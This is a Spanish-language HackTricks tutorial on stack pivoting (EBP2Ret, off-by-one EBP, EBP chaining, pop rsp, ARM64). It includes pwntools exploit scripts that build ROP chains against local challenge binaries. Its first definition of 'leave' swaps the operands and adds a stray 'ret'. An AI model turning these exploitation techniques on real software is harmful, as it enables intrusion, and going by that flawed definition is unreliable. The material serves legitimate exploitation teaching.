hacktricks/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

249 lines
12 KiB
Markdown
Raw Normal View History

# Stack Pivoting - EBP2Ret - EBP chaining
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información Básica
Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones mediante el uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**.
Como recordatorio, **`leave`** básicamente significa:
```
mov ebp, esp
pop ebp
ret
```
Y como el **EBP está en la pila** antes del EIP, es posible controlarlo controlando la pila.
### EBP2Ret
Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en la memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. Cuando `fvuln` retorna, el ESP se establece en esta ubicación manipulada, y la operación `pop` subsiguiente disminuye el ESP en 4 bytes, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
Nota cómo **necesitas conocer 2 direcciones**: Aquella a la que irá el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
#### Construcción del Exploit
Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar:
* Una dirección válida de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86).
* La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido del **shellcode** a ejecutar.
* Alguna cadena [**ROP**](../rop-return-oriented-programing/)
Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y seguir controlando la ejecución.
#### Exploit de Desbordamiento por Uno
Existe una variante específica de esta técnica conocida como un "Exploit de Desbordamiento por Uno". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los tres primeros bytes con el EBP, lo que permite una manipulación similar con condiciones más restringidas.\
Por lo general, se modifica el byte 0x00 para saltar lo más lejos posible.
Además, es común usar un trineo de RET en la pila y colocar la verdadera cadena ROP al final para que sea más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
### **Cadenas de EBP**
Por lo tanto, al colocar una dirección controlada en la entrada de `EBP` de la pila y una dirección a `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección controlada de `EBP` desde la pila**.
Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP lo siguiente:
* **`&(próximo EBP falso)`** -> Carga el nuevo EBP debido a `pop ebp` de la instrucción `leave`
* **`system()`** -> Llamado por `ret`
* **`&(leave;ret)`** -> Llamado después de que system termine, moverá ESP al EBP falso y comenzará de nuevo
* **`&("/bin/sh")`**-> Parámetro para `system`
Básicamente de esta manera es posible encadenar varios EBPs falsos para controlar el flujo del programa.
Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, aunque podría ser interesante en algunos casos particulares.
Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP podría no ser utilizado
Como se [**explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca llega a controlar ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
Esto se debe a que el **prólogo y epílogo cambian** si el binario está optimizado.
* **No optimizado:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **Optimizado:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Otras formas de controlar RSP
### **Dispositivo `pop rsp`**
[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo utilizando esta técnica. Para este desafío fue necesario llamar a una función con 2 argumentos específicos, y había un **dispositivo `pop rsp`** y hay una **filtración desde la pila**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### Gadget xchg \<reg>, rsp
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Verifica la técnica ret2esp aquí:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
## Referencias y Otros Ejemplos
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bits, explotación off by one con una cadena rop que comienza con un ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bits, sin relro, canary, nx y pie. El programa proporciona una fuga para la pila o pie y un WWW de una qword. Primero obtén la fuga de la pila y usa el WWW para retroceder y obtener la fuga de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en el .bss y se termina llamándola pivotando con RBP.
## ARM64
En ARM64, los **prólogos y epílogos** de las funciones **no almacenan y recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
Por lo tanto, por defecto, simplemente abusar del epílogo **no te permitirá controlar el registro SP** al sobrescribir algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
* prólogo
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP apunta al registro de marco
```
* epílogo
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
{% hint style="danger" %}
La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección desde la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él.
{% endhint %}
También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>